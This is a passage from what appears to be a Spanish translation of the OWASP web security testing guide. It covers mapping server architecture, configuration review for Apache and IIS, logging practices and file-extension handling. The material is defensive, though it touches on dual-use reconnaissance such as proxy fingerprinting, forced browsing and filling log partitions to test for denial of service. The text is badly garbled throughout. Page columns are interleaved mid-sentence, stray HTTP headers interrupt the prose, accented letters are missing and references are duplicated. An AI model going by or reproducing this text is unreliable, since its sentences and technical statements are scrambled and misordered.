En configuraciones ms complejas, tales como un sistema de banca en lnea, pueden
estar involucrados mltiples servidores. Estos pueden incluir un proxy inverso, un HTTP/1.0 200
servidor web de acceso frontal (front-end), un servidor de aplicaciones y un servidor
Pragma: no-cache
de base de datos o servidor de LDAP. Cada uno de estos servidores se utilizan para
propsitos diferentes y podran incluso estar divididos en diferentes redes con Cache-Control: no-cache
firewalls entre ellos. Esto crea diferentes DMZ para que el acceso al servidor web no
conceda un acceso de usuario remoto al mismo mecanismo de autenticacin, y para Content-Type: text/html
que los riesgos de los diferentes elementos dentro de la arquitectura pueden ser
aislados para que no comprometern el resto de la arquitectura. Content-Length: 83
Obtener conocimiento de la arquitectura de la aplicacin puede ser fcil si esta <TITLE>Error</TITLE>

informacin es proporcionada al equipo de pruebas por los desarrolladores de la
aplicacin en un documento o a travs de entrevistas, pero tambin puede resultar
muy difcil si se hace una prueba de penetracin ciega.
Ejemplo del servidor de seguridad del punto de chequeo Firewall-1 NG AI

En este ltimo caso, un evaluador comenzar primero con el supuesto de que existe "que protege" un servidor web:
una configuracin simple (un solo servidor). Entonces l recupera la informacin

70
Los proxys inversos tambin se pueden presentar como proxy-cach para acelerar [1] WebSEAL, tambin conocido como Tivoli Authentication Manager, es un
el rendimiento de servidores de aplicaciones de acceso restringido (back-end). La proxy inverso de IBM que es parte del framework de Tivoli.
deteccin de estos proxies puede hacerse a base del encabezado del servidor.
Tambin pueden detectarse tomando el tiempo de las peticiones que deben ser [2] Hay algunas herramientas de administracin basadas en GUI para Apache
almacenadas en cach por el servidor de sincronizacin y comparando el tiempo de (como NetLoony), pero todava no son de uso generalizado.
la primera solicitud con las solicitudes subsiguientes.
Pruebas para gestionar la configuracin

Otro elemento que puede detectarse son los equilibradores de carga de red. Por lo
general, estos sistemas equilibrarn un determinado puerto TCP/IP en varios Entender la configuracin desplegada del servidor que aloja la aplicacin web es
servidores basados en algoritmos diferentes (cadena de mensajes, la carga del casi tan importante como las pruebas de seguridad de la aplicacin misma. Despus
servidor web, nmero de solicitudes, etc.). Por lo tanto, la deteccin de este de todo, una cadena de aplicacines slo es tan fuerte como su eslabn ms dbil.
elemento de la arquitectura debe hacerse examinando varias solicitudes y Las plataformas de aplicacin son amplias y variadas, pero algunos errores de
comparando los resultados para determinar si las solicitudes van al mismo servidor configuracin claves en la plataforma pueden comprometer la aplicacin de la
o a diferentes servidores. Por ejemplo, basado en el encabezado de fecha si los misma manera que una aplicacin no segura puede comprometer el servidor.
relojes del servidor no estn sincronizados. En algunos casos, el proceso de
equilibrio de carga de red puede inyectar nueva informacin en los encabezados
que destacan claramente, como la cookie de AlteonP introducida por el
equilibrador de carga de Nortel Alteon WebSystems.
Pruebe la configuracin de la infraestructura y
la red (OTG-CONFIG-001)
Los servidores de aplicaciones web son generalmente fciles de detectar. La
Resumen
solicitud de varios recursos es manejada por el mismo servidor de aplicaciones (no
por el servidor web) y el encabezado de respuesta variar significativamente
La complejidad intrnseca de una infraestructura de servidor web interconectada y
(incluyendo valores diferentes o adicionales en el encabezado de respuesta). Otra
heterognea, que puede incluir cientos de aplicaciones web, hace de la gestin de la
forma de detectar esto es ver si el servidor web intenta establecer cookies, las cuales
configuracin y revisin un paso fundamental en la prueba e implementacin de
son indicativas de que se utiliza un servidor de aplicacin web (como el
cada aplicacin. Toma slo una vulnerabilidad el socavar la seguridad de toda la
JSESSIONID proporcionado por algunos servidores J2EE), o para reescribir URL
infraestructura y problemas e incluso problemas pequeos y aparentemente sin
automticamente para hacer seguimiento de sesiones.
importancia pueden convertirse en serios riesgos para otra aplicacin en el mismo
servidor. Para abordar estos problemas, es de suma importancia llevar a cabo una
profunda revisin de la configuracin y problemas de seguridad conocidos, despus
de haber creado un mapa de toda la arquitectura.
La autenticacin de acceso restringido (como los directorios LDAP, bases de datos
relacionales o servidores RADIUS), sin embargo, no es tan fcil detectarlos de
Una gestin apropiada de la configuracin la infraestructura del servidor de web
manera inmediata desde un punto de vista externo, ya que estarn ocultos por la
es muy importante para preservar la seguridad de la propia aplicacin. Si elementos
propia aplicacin.
como el software del servidor web, los servidores de base de datos de back-end o
los servidores de autenticacin no est revisados y asegurados, podran presentar
riesgos no deseados o introducir nuevas vulnerabilidades que podran comprometer
El uso de una base de datos de acceso restringido puede determinarse simplemente a la propia aplicacin.
navegando por una aplicacin. Si hay contenido dinmico generado "sobre la
marcha", probablemente es que est siendo extrado desde algn tipo de base de
datos por la propia aplicacin. A veces, la manera en que se solicite informacin
Por ejemplo, una vulnerabilidad del servidor web que permite a un atacante
podra dar conocimientos sobre la existencia de una base de datos de acceso
remoto revelar el cdigo fuente de la aplicacin en s (una vulnerabilidad que ha
restringido. Por ejemplo, una aplicacin de compras en lnea que utiliza
aparecido varias veces en servidores web o servidores de aplicaciones) podra
identificadores numricos ('id') al navegar por los distintos artculos de la tienda.
comprometer la aplicacin, como los usuarios annimos pueden utilizar la
Sin embargo, cuando se hace una prueba de aplicacin ciega, el conocimiento de la
informacin divulgada en el cdigo fuente para realizar los ataques contra la
base de datos subyacente generalmente est solamente disponible cuando aparece
aplicacin o sus usuarios.
una vulnerabilidad en la aplicacin, como un pobre manejo de excepciones o una
susceptibilidad a la inyeccin de SQL.
Los siguientes pasos deben tomarse para poner a prueba la infraestructura de

gestin de configuracin:
Referencias

71
Los diferentes elementos que conforman la infraestructura deben ser versin del servidor web cuando las vulnerabilidades se arreglan, la herramienta de
determinados con el fin de comprender cmo interactan con una aplicacin web y anlisis marcar vulnerabilidades que no existen. Este ltimo caso es realmente
cmo afectan a su seguridad. muy comn, ya que algunos proveedores de sistemas operativos instalan parches
para arreglar vulnerabilidades de seguridad a traves de un puerto posterior al
Todos los elementos de la infraestructura deben revisarse para asegurarse de que software que proporcionan en el sistema operativo, pero no hacen una carga
no contienen vulnerabilidades conocidas. completa de la ltima versin de software. Esto sucede en la mayora de las
distribuciones de GNU/Linux como Debian, Red Hat o SuSE. En la mayora de los
Debe hacerse una revisin de las herramientas administrativas usadas para dar casos, el anlisis de vulnerabilidad de una arquitectura de aplicacin slo
mantenimiento a los diferentes elementos. encontrar vulnerabilidades asociadas a los elementos "expuestos" de la
arquitectura (como el servidor web) y suelen ser incapaces de encontrar
Los sistemas de autenticacin necesitan ser revisados para asegurarse que sirven a vulnerabilidades asociadas a elementos que no estn directamente expuestos, tales
las necesidades de la aplicacin y que no pueden ser manipulados por los usuarios como la autenticacin en segundo plano (back end), o la base de datos acceso
externos para obtener el acceso. restringido, o el proxy inverso que se encuentra en uso.
Una lista de puertos definidos que se requieren para la aplicacin debe recibir
mantenimiento y debe guardarse con un control de cambios.
Por ltimo, no todos los proveedores de software revelan vulnerabilidades de
manera pblica y, por lo tanto, estas debilidades no son registradas dentro de bases
de datos de vulnerabilidades conocidas pblicamente[1]. Esta informacin slo es
Despus de haber elaborado un mapa de los diferentes elementos que conforman revelada a los clientes o publicada a travs de soluciones que no van acompaadas
la infraestructura (vea mapa de red y arquitectura de la aplicacin), es posible de advertencias. Esto reduce la utilidad de las herramientas de anlisis de
revisar la configuracin de cada elemento encontrado y probarlos en busca de vulnerabilidad. Por lo general, la cobertura de vulnerabilidades de estas
cualquier vulnerabilidad conocida. herramientas ser muy buena para los productos comunes (como el servidor web
Apache, Microsoft Internet Information Server o IBM Lotus Domino), pero no
cumplirn con productos menos conocidos.
Cmo probar
Vulnerabilidades conocidas de los servidores Por esta razn, la revisin de vulnerabilidades se realiza mejor cuando al evaluador
se le proporciona informacin interna del software utilizado, incluyendo versiones
Las vulnerabilidades encontradas en las diferentes reas de la arquitectura de la y actualizaciones usadas y parches aplicados al software. Con esta informacin, el
aplicacin, ya sea en el servidor web o en la base de datos de acceso restringido, evaluador puede recuperar la informacin del mismo proveedor y analizar qu
pueden comprometer seriamente a la propia aplicacin. Por ejemplo, considere vulnerabilidades pueden estar presentes en la arquitectura y cmo pueden afectar a
una vulnerabilidad del servidor que permite a un usuario remoto no autenticado la aplicacin en s. Cuando sea posible, estas vulnerabilidades pueden analizarse
subir archivos al servidor web o incluso reemplazar los archivos. Esta para determinar sus efectos reales y detectar si pueden haber elementos
vulnerabilidad podra comprometer la aplicacin, ya que un usuario granuja
puede ser capaz de reemplazar la aplicacin o introducir un cdigo que puede
afectar a los servidores de acceso restringido, ya que el cdigo de la aplicacin
del atacante funcionara como cualquier otra aplicacin. externos (tales como sistemas de deteccin o prevencin de intrusiones) que
podran reducir o negar la posibilidad de explotacin exitosa. Los evaluadores
podran determinar incluso, a travs de una revisin de la configuracin, que la
vulnerabilidad no est presente, puesto que afecta a un componente de software que
La revisin de vulnerabilidades del servidor puede ser difcil de efectuar si la no est en uso.
prueba debe hacerse a travs de una prueba de penetracin ciega. En estos casos,
las vulnerabilidades deben probarse desde un sitio remoto, generalmente usando
una herramienta automatizada. Sin embargo, las pruebas de algunas
vulnerabilidades pueden tener resultados impredecibles en el servidor web, y no Tambin vale la pena sealar que los vendedores a veces solucionan las
sera posible probar para otros, (como aquellos directamente involucrados en la vulnerabilidades silenciosamente y hacen las correcciones disponibles con nuevas
negacin de ataques al servicio), debido a la reduccin de la calidad de tiempo versiones de software. Los diferentes proveedores tendrn diversos ciclos de
de servicio involucrado si la prueba fuera exitosa. lanzamiento que determinan el apoyo que pueden proporcionar para versiones ms
antiguas. Un evaluador con informacin detallada de las versiones del software
utilizado por la arquitectura puede analizar el riesgo asociado al uso de versiones
viejas de software que podran no tener soporte en el corto plazo o que ya no
Algunas herramientas automatizadas marcan las vulnerabilidades basadas en la tienen soporte. Esto es fundamental, ya que si una vulnerabilidad aparece en una
versin obtenida del servidor web. Esto lleva a falsos positivos y falsos negativos. versin antigua de software, que ya no tiene soporte, el personal de sistemas podra
Por un lado, si la versin del servidor web ha sido eliminada u oscurecida por el no estar directamente consciente de ello. No habrn parches disponibles para l y
administrador del sitio local, la herramienta de anlisis no marcar al servidor como las advertencias no pondrn en la lista a esa versin como vulnerable ya que no
vulnerable, aunque lo sea. Por otro lado, si el proveedor del software no actualiza la tiene soporte. Incluso, en el caso de que estn conscientes de que existe la
72
vulnerabilidad y el sistema es vulnerable, tendran que hacer una actualizacin

completa a una nueva versin de software, que podra aumentar significativamente
el tiempo de inactividad en la arquitectura de la aplicacin o puede forzar a la Referencias
aplicacin a ser recodificada, debido a incompatibilidades con la versin ms
reciente del software. [1] WebSEAL, tambin conocida como Tivoli Authentication Manager, es un
proxy inverso de IBM que es parte del framework Tivoli framework.
[2] Tal como Symantecs Bugtraq, ISS X-Force, o NISTs National Vulnerability
Herramientas administrativas Database (NVD).
Cualquier infraestructura de servidor web requiere la existencia de herramientas [3] Hay algunas herramientas basadas en GUI para Apache (como NetLoony), pero
administrativas para dar mantenimiento y actualizar la informacin utilizada por la no se usan masivamente todava.
aplicacin. Esta informacin incluye contenido esttico (pginas web, archivos
grficos), cdigo fuente de la aplicacin, bases de datos de autenticacin de
usuario, etc. Las herramientas administrativas sern diferentes segn el sitio, la
tecnologa o el software utilizado. Por ejemplo, algunos servidores se gestionan Pruebe la Configuracin de la Plataforma de
mediante interfaces administrativas, que son estos mismos servidores web (como el
servidor web iPlanet) o sern administradas por archivos de texto con la Aplicaciones (OTG-CONFIG-002)
configuracin (en caso del Apache[2]) que usen un sistema operativo GUI tools (al
usar el servidor IIS o ASP.Net de Microsoft). Resumen
Es imporante una adecuada configuracin de los elementos individuales que

conforman la arquitectura de una aplicacin, para prevenir errores que podran
En la mayora de los casos se controlar la configuracin del servidor con comprometer la seguridad de la arquitectura entera.
diferentes herramientas de mantenimiento de archivos utilizados por el servidor
web, los cuales son administrados a travs de servidores FTP, WebDAV, sistemas
de archivos de red (NFS, CIFS) u otros mecanismos. Obviamente, el sistema
operativo de los elementos que componen la arquitectura de la aplicacin tambin Revisar y probar la configuracin es una tarea fundamental en la creacin y
se gestionar utilizando otras herramientas. Las aplicaciones tambin pueden tener mantenimiento de una arquitectura. Esto es porque muchos sistemas diferentes
interfaces administrativas incrustadas en ellas, que se utilizan para gestionar los generalmente cuentan con configuraciones genricas que podran no ser adecuadas
datos mismos de la aplicacin (usuarios, contenido, etc.). para la tarea que se llevar a cabo en el sitio especfico donde estn instaladas.
Despus de haber elaborado mapas de las interfaces administrativas utilizadas para Mientras que la instalacin tipica del servidor de la web y de la aplicacin
administrar las diferentes partes de la arquitectura, es importante revisarla, ya que si contendr mucha funcionalidad (como ejemplos de aplicacin, documentacin,
un atacante obtiene acceso a cualquiera de ellas, entonces puede comprometer o pginas de prueba) lo que no es esencial debe retirarse antes de la implementacin
daar la arquitectura de la aplicacin. Para ello es importante: para evitar la explotacin de estos despus de la instalacin.
Determinar los mecanismos que controlan el acceso a estas interfaces y sus

vulnerabilidades asociadas. Esta informacin puede estar disponible en lnea.
Cambiar el usuario y contrasea generados automticamente.

Cmo probar

Algunas empresas optan por no gestionar todos los aspectos de sus aplicaciones de
servidor web, pero pueden tener otros equipos gestionando el contenido entregado Archivos y directorios de muestra y conocidos
por la aplicacin web. Esta empresa externa puede solamente proporcionar partes
de los contenidos (actualizaciones de noticias o promociones) o puede administrar Muchos servidores web y servidores de aplicaciones proporcionan, en una
el servidor de web totalmente instalacin por defecto, aplicaciones y archivos de muestra que se entregan para
beneficio del desarrollador y para probar que el servidor est funcionando
(incluyendo contenido y cdigo). Es comn encontrar interfaces administrativas correctamente justo despus de la instalacin. Sin embargo, muchas aplicaciones de
disponibles desde Internet en estas situaciones, ya que usar el Internet es ms barato servidor web por defecto han sido determinadas como vulnerables. Este fue el caso,
que tener una lnea dedicada que conecte a la empresa externa nicamente con la por ejemplo, de CVE-1999-0449 (denegacin de servicio en IIS cuando se instal
infraestructura de la aplicacin a travs de una interfaz de gestin. En esta el sitio de muestra de Exair), CAN-2002-1744 (vulnerabilidad de salto de directorio
situacin, es muy importante comprobar si las interfaces administrativas son en CodeBrws.asp en Microsoft IIS 5.0), CAN-2002-1630 (uso de sendmail.jsp en
vulnerables a ataques.

73
Oracle 9iAS) o CAN-2003-1172 (salto de directorio al ver la muestra de cdigo Es imposible decir genricamente cmo debe configurarse un servidor, sin
fuente en Cocoon de Apache). embargo, algunas pautas comunes deben tomarse en cuenta:
Los escneres CGI incluyen una lista detallada de archivos conocidos y las Slo habilite mdulos de servidor (extensiones ISAPI en IIS) que son necesarios
muestras de directorio que son entregadas por diferentes servidores web o de para la aplicacin. Esto reduce la superficie de ataque puesto que el servidor se
aplicaciones, y pueden ser una forma rpida de determinar si estos archivos estn reduce en tamao y complejidad al desactivar mdulos del software. Tambin evita
presentes. Sin embargo, la nica manera para estar totalmente seguro es hacer una que las vulnerabilidades que podran aparecer en el software del proveedor afecten
revisin completa de los contenidos del servidor web o servidor de aplicaciones y al sitio si slo estn presentes en los mdulos que han sido ya desactivados.
determinar si estn relacionados con la aplicacin propiamente dicha o no.
Maneje los errores del servidor (40x o 50x) con pginas personalizadas en vez de
usar las pginas genricas del servidor web. Especficamente asegrese de que los
errores de aplicacin no sern devueltos al usuario final y que ningn cdigo se
Revisin de comentarios filtre a travs de estos errores, ya que esto ayudara al atacante. Es realmente muy
comn olvidar este punto ya que los desarrolladores necesitan esta informacin en
Es muy comn, e incluso se recomienda a los programadores, que incluyan entornos de preproduccin.
comentarios detallados en su cdigo fuente para permitir a otros
Asegrese de que el software del servidor se ejecuta con privilegios mnimos del
sistema operativo. Esto evita que un error en el software del servidor comprometa
directamente todo el sistema, aunque un atacante podra elevar los privilegios una
programadores entender por qu se tom una determinada decisin en la vez que ejecute cdigos como servidor web.
codificacin de una funcin dada. Los programadores suelen aadir comentarios al
desarrollar aplicaciones grandes basadas en la web. Sin embargo, los comentarios Asegrese de que el software de servidor registra correctamente accesos legtimos
incluidos en lneas de cdigo HTML podran revelar informacin interna que no y errores.
debera estar disponible para un atacante. A veces, incluso existe el comentario de
haber retirado el cdigo fuente ya que una funcionalidad ya no es necesaria, pero Asegrese de que el servidor est configurado para manejar las sobrecargas
este comentario se fuga hacia afuera, a las pginas HTML que se devuelven a los adecuadamente y evitar ataques de denegacin de servicio. Asegrese de que el
usuarios accidentalmente. servidor ha sido calibrado correctamente en su rendimiento.
Nunca conceda acceso con identidades no administrativas (con la excepcin de

NTSERVICE\WMSvc) acceso a applicationHost.config, redirection.config y
La revisin de comentarios debe realizarse con el fin de determinar si cualquier administration.config (lectura o escritura). Esto incluye el servicio de red,
informacin puede fugarse a travs de comentarios. Esta revisin es completamente IIS_IUSRS, IUSR o cualquier identidad personalizada utilizada por grupos de
posible solamente a travs de un anlisis de los contenidos de los servidores web aplicaciones IIS. Los procesos de trabajo IIS no necesitan tener acceso a estos
estticos y dinmicos y bsquedas de archivo. Puede ser til navegar por el sitio de archivos directamente.
una manera automtica o guiada y almacenar todo el contenido obtenido. El
contenido obtenido puede ser buscado posteriormente con el fin de analizar los
comentarios HTML en el cdigo.
Nunca comparta applicationHost.config, redirection.config y
administration.config en la red. Cuando use configuraciones de exportacin
compartidas, prefiera exportar applicationHost.config a otro lugar (vase la seccin
Pruebas de Caja Gris titulada "configuracin de permisos de configuracin compartida").
Revisin de la configuracin
La configuracin del servidor web o del servidor de aplicaciones toma un papel

importante en la proteccin de los contenidos del sitio y debe ser revisada
cuidadosamente para detectar errores de configuracin comunes. Obviamente, la Tenga en cuenta que todos los usuarios pueden leer el framework de
configuracin recomendada vara en funcin de la poltica del sitio y la configuracin .NET machine.config y archivos base web.config por defecto. No
funcionalidad que debe ser proporcionada por el software del servidor. En la almacene informacin confidencial en estos archivos si fuese solo para
mayora de los casos, sin embargo, deben revisarse las pautas de la configuracin administradores.
(ya sean proporcionadas por el proveedor de software o por personas externas) para
determinar si el servidor ha sido correctamente asegurado. Encripte la informacin sensible que debe ser leda nicamente por los procesos
de trabajo de IIS y no por otros usuarios de la mquina.

74
No conceda permisos de escritura a la identidad que el servidor Web utiliza para Registros de Informacin sensible
tener acceso a applicationHost.config compartida. Esta identidad debe tener
permisos de slo lectura. Algunas aplicaciones, por ejemplo, podran utilizar peticiones GET para
enviar datos de formularios que sern vistas en los registros del servidor.
Utilice una identidad separada para publicar applicationHost.config al recurso Esto significa que los registros de servidor pueden contener informacin
compartido. No use esta identidad para configurar el acceso a la configuracin sensible (como nombres de usuario, como contraseas o datos
compartida en los servidores Web. bancarios). Esta informacin sensible puede ser mal utilizada por un
atacante si obtuvo los registros, por ejemplo, a travs de interfaces
Utilice una contrasea de alta seguridad cuando exporte las claves de encriptacin administrativas o vulnerabilidades o malas configuraciones conocidas del
para su uso con configuraciones compartidas. servidor web (como la configuracin conocida del estado del servidor en
servidores basados en
Mantenga el acceso restringido a la particin que contiene la configuracin
compartida y las claves de encriptado. Si esta particin est comprometida, un Apache HTTP).
atacante podr leer y escribir cualquier configuracin de IIS para los servidores
Web, redirigir el trfico de su sitio web hacia fuentes maliciosas y, en algunos
casos, obtener el control de todos los servidores web mediante la carga de cdigos
arbitrarios en los procesos de trabajo IIS. A menudo, los registros de sucesos contienen datos que son tiles para un
atacante (fuga de informacin), o pueden ser utilizados directamente en
Considere proteger esta parte con las reglas del firewall y las directivas de IPsec explotar:
para permitir que nicamente los servidores web miembros se conecten.
Depuracin de la informacin
Registro
Rastros de apilamiento
El registro es un aspecto importante de la seguridad de la arquitectura de
una aplicacin, ya que puede ser utilizada para detectar fallos en las Nombres de usuario
aplicaciones (usuarios que intentan constantemente recuperar un archivo
que no existe realmente), as como de ataques sostenidos de los usuarios Nombres de componentes del sistema
granujas. Los registros no se generan correcta y tpicamente por la web y
otro servidor de software. No es comn encontrar aplicaciones que Direcciones IP internas
registran correctamente sus acciones en un registro y, cuando lo hacen, la
intencin principal de los registros de aplicacin es producir resultados Datos personales menos sensibles (por ejemplo direcciones de correo electrnico,
de depuracin que podra utilizar el programador para analizar un error direcciones postales y nmeros de telfono asociados con individuos nombrados)
determinado.
Datos del negocio
En ambos casos (registros de servidor y aplicacin) varios temas deben

ser probados y analizados basndose en el contenido del registro: En algunas jurisdicciones, almacenar alguna informacin sensible en
archivos de registro, tales como datos personales, tambin podra obligar
Los registros contienen informacin sensible? a la empresa a aplicar las leyes de proteccin de datos que aplicaran a
sus bases de datos de acceso restringido para archivos de registros. No
Estn los registros almacenados en un servidor dedicado? hacerlo, incluso sin saberlo, puede llevar a sanciones bajo las leyes de
proteccin de datos vigentes.
Puede el uso de registros generar una condicin de negacin de servicio?
Cmo se giran? Se mantienen los registros durante el tiempo suficiente?

Una lista ms amplia de informacin sensible es:
Cmo se revisan los registros? Pueden utilizar los administradores estas
revisiones para detectar ataques dirigidos? Aplicaciones de cdigo fuente
Cmo se conservan las copias de seguridad de registro? Valores de identificacin de sesin
Los datos estn siendo validados (min/max longitud, caracteres etc.) antes de ser Fichas de acceso
registrados?
Datos personales sensibles y algunas formas de informacin personal identificable
(PII)

75
Contraseas de autenticacin en la misma particin de disco como el que se usa para el software de
sistema operativo o la aplicacin en s. Esto significa que si el disco fuera
Lneas de conexin de bases de datos llenado, el sistema operativo o la aplicacin pueden fallar porque seran
incapaces de escribir en el disco.
Claves de encriptacin
Cuenta bancaria o datos del titular de tarjeta de pago

Normalmente, en sistemas UNIX, los registros se ubicarn en /var
Datos de una clasificacin de seguridad ms alta que lo que el sistema de registro (aunque algunas instalaciones de servidores pueden residir en /opt o
tiene permitido almacenar /usr/local) y es importante asegurarse de que los directorios en los que
los registros se almacenan estn en una particin separada. En algunos
Informacin comercialmente sensible
casos, y para evitar que los registros del sistema se vean afectados, el
directorio de registro del software de servidor (como /var/log/apache en
Informacin que es ilegal recolectar en la jurisdiccin correspondiente.
el servidor web Apache) debe almacenarse en una particin dedicada.
Informacin que un usuario ha optado por no permitir su recoleccin, o no ha
aceptado, por ejemplo, que hagan seguimiento o uso, o cuando el consentimiento
para recolectar ha caducado.
Esto no quiere decir que se deba permitir que los registros crezcan hasta
llenar el sistema de archivos donde residen. El crecimiento de registros
del servidor debe ser vigilado para detectar esta condicin puesto que
puede ser indicativo de un ataque.
Ubicacin de registros
Generalmente, los servidores generan registros locales de sus acciones y

errores, consumiendo el disco del sistema del servidor donde se ejecutan.
Probar esta condicin es tan fcil y tan peligroso en entornos de
Sin embargo, si el servidor ha comprometido sus registros, estos pueden
produccin, como disparar un nmero suficiente y sostenido de
ser eliminados por el intruso para limpiar todos los rastros de su ataque y
solicitudes para ver si estas solicitudes se registran y si existe la
sus mtodos. Si esto llegara a suceder, el administrador del sistema no
posibilidad de llenar la particin de registro a travs de estas solicitudes.
tiene conocimiento de cmo ocurri el ataque o dnde se encontraba la
En algunos ambientes donde los parmetros QUERY_STRING tambin se
fuente del ataque. En realidad, la mayora de kits de herramientas de
registran independientemente de si se producen a travs de solicitudes
ataque incluyen un eliminador de registros que es capaz de limpiar
GET o POST, las consultas grandes pueden simular que llenarn los
cualquier registro que contenga informacin (como la direccin IP del
registros ms rpido puesto que, normalmente, una sola solicitud har
atacante) y se utilizan habitualmente en equipos de ataque a nivel de
que slo una pequea cantidad de datos sean registrados, como fecha y
sistema principal.
hora, direccin IP de origen, peticin URL y resultado del servidor.
Por lo tanto, es inteligente mantener los registros en un lugar diferente y

Rotacin de registros
no en el propio servidor web. Esto tambin facilita agregar registros
desde diferentes fuentes que se refieren a la misma aplicacin (como los
La mayora de los servidores (pero pocas aplicaciones personalizadas)
de una granja de servidores web) y tambin es ms fcil hacer anlisis de
rotarn los registros con el fin de evitar que se llene el sistema de
registros (que puede ser intensivo para el CPU) sin afectar al servidor
archivos donde residen. Al girar los registros se asume que la informacin
mismo.
en ellos slo es necesaria durante un tiempo limitado.
Almacenamiento de registros
Esta caracterstica debe ser probada para asegurarse de que:
Los registros pueden presentar una condicin de negacin de servicio si

no se almacenan correctamente. Cualquier atacante con suficientes
recursos podra ser capaz de producir un nmero suficiente de Los registros se mantienen durante el tiempo definido en la poltica de seguridad,
solicitudes que ni ms ni menos.
Los registros se comprimen una vez rotados (esto es una comodidad, ya que
significar que ms registros se almacenarn en el mismo espacio de disco
lenara el espacio asignado para los archivos de registro si no estn disponible).
prevenidos especficamente de hacerlo. Sin embargo, si el servidor no
est configurado correctamente, los archivos de registro se almacenarn
76
El permiso del sistema de archivos de registros rotados es el mismo (o ms Las estadsticas del registro o anlisis no deben ser generadas ni
estricto) que los permisos del registro de archivos en s. Por ejemplo, los servidores almacenadas en el mismo servidor que produce los registros. De lo
web debern escribir en los registros usados, pero no necesitan realmente escribir contrario, un atacante podra, a travs de una vulnerabilidad del servidor
en registros rotados, lo que significa que los permisos de los archivos pueden web o configuracin inadecuada, tener acceso a ellos y recuperar la
modificarse segn la rotacin para evitar que el proceso del servidor web los informacin similar a la que sera revelada por los archivos de registro.
modifique.
Referencias
Algunos servidores podran rotar registros cuando alcanzan un tamao
determinado. Si esto sucede, se debe garantizar que un atacante no puede [1] Apache
obligar a rotar registros para ocultar sus huellas.
Apache Security, by Ivan Ristic, Oreilly, March 2005.
Apache Security Secrets: Revealed (Again), Mark Cox, November 2003 -

Control del registro de acceso awe.com
La informacin del registro de eventos nunca debe ser visible para los Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox,
usuarios finales. Incluso los administradores web no deberan ver estos October 2002 - awe.com
registros ya que se rompe la separacin del servicio de las labores de
control. Asegrese de que cualquier esquema de control de acceso que se Performance Tuning - apache.org
utiliza para proteger el acceso a los registros brutos y a cualquier
aplicacin que proporciona funcionalidades para ver o buscar los [2] Lotus Domino
registros no estn
Lotus Security Handbook, William Tworek et al., April 2004, available in
the IBM Redbooks collection - redbooks.ibm.com
conectadas a los esquemas de control de acceso para otros roles de Lotus Domino Security, an X-force white-paper, Internet Security Systems,
usuario de la aplicacin. Asimismo, los datos de registro no deben ser December 2002 - iss.net
visibles por los usuarios no autenticados.
Hackproofing Lotus Domino Web Server, David Litchfield, October 2001 -
davidlitchfield.com
NGSSoftware Insight Security Research - nccgroup.com

Revisin de registros
[3] Microsoft IIS

La revisin de registros puede utilizarse no solo para la extraccin de
estadsticas de uso de archivos en los servidores web (que suele ser en lo
IIS 6.0 Security, by Rohyt Belani, Michael Muckin, -
que la mayora de aplicaciones basadas en registros se centran), sino
tambin para determinar si los ataques tienen lugar en el servidor web.
symantec.com
IIS 7.0 Securing Configuration - technet.microsoft.com
Para analizar los ataques desde el servidor web, los archivos de registro
Securing Your Web Server (Patterns and Practices), Microsoft Corporation,
de error deben ser analizados. La revisin debera centrarse en: January 2004
IIS Security and Programming Countermeasures, by Jason Coombs
40x mensajes de error (not found). Una gran cantidad de ellos de la misma fuente From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis,
podra ser un indicativo de una herramienta de scanner CGI utilizada contra el Microsoft Corporation, June 2001 -
servidor web
uat.technet.microsoft.com
50 x mensajes (server error). Estos pueden ser una indicacin de que un atacante
abusa de partes de la aplicacin que fallan inesperadamente. Por ejemplo, las Secure Internet Information Services 5 Checklist, by Michael Howard,
primeras fases de un ataque de inyeccin SQL producir estos mensaje de error Microsoft Corporation, June 2000
cuando la consulta SQL no est construida correctamente y su ejecucin falla en la
base de datos de acceso restringido. INFO: Using URLScan on IIS - support.microsoft.com

77
[4] Red Hats (formerly Netscapes) iPlanet debido a que el contenido no es el esperado, o por manejo de nombres de
archivo inesperado del OS.
Guide to the Secure Configuration and Administration of iPlanet Web
Server, Enterprise Edition 4.1, by James M Hayes - nsa.gov
[5] WebSphere Determinar cmo los servidores web manejan las peticiones
correspondientes a archivos con diferentes extensiones puede ayudar a
IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter comprender el comportamiento del servidor web segn el tipo de
Kovari et al., IBM, December 2002 - redbooks.ibm.com archivos a los que se accede. Por ejemplo, puede ayudar a entender cules
extensiones de archivo se devuelven como texto simple frente a aquellos
IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., que causan alguna ejecucin en el lado del servidor. Estos ltimos son
IBM, March 2002 - redbooks.ibm.com indicativos de las tecnologas, idiomas o plugins que son utilizados por los
servidores web o servidores de aplicaciones y pueden proporcionar
[6] General
informacion adicional de cmo est diseada la aplicacin web. Por
ejemplo, una extensin de ".pl" es generalmente asociada con un soporte
Logging Cheat Sheet, OWASP
Perl del lado del servidor. Sin embargo, la extensin de archivo sola
puede ser engaosa y no completamente concluyente. Por ejemplo, Los
SP 800-92 Guide to Computer Security Log Management, NIST
recursos de servidor Perl pueden cambiarse de nombre para ocultar el
csrc.nist.gov
hecho de que estn relacionados con Perl. Vea la siguiente seccin sobre
PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4, PCI "componentes de servidor de web" para ms informacin sobre
Security Standards Council identificacin de componentes y tecnologas del lado del servidor.
[7] Generic:
CERT Security Improvement Modules: Securing Public Web Servers Cmo probar
Apache Security Configuration Document, InterSect Alliance Navegacin forzada
How To: Use IISLockdown.exe - Enve solicitudes http[s] que incluyan diferentes extensiones y verifique
cmo se manejan. La verificacin debe estar en una base de directorio
http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp web
por bsqueda. Verificar directorios que permiten la ejecucin del script.

Pruebe el manejo de archivos de extensiones en Los directorios del servidor Web pueden identificarse por escneres de
vulnerabilidad, que buscan la presencia de directorios conocidos.
busca de informacin sensible (OTG-CONFIG- Adems, el reflejo de la estructura del sitio web permite al evaluador
003) reconstruir el rbol de directorios de la web servidos por la aplicacin.
Resumen
Los archivos de extensiones se utilizan en los servidores web para Si la arquitectura de aplicaciones web tiene balanceo de cargas, es
determinar fcilmente qu tecnologas, idiomas y accesorios (plugins) importante evaluar a todos los servidores web. Esto puede o no ser fcil,
deben utilizarse para cumplir con la solicitud web. Si bien este dependiendo de la configuracin de la infraestructura de equilibrio. En
comportamiento es compatible con los RFC y estndares Web, utilizar las una infraestructura con componentes redundantes pueden existir ligeras
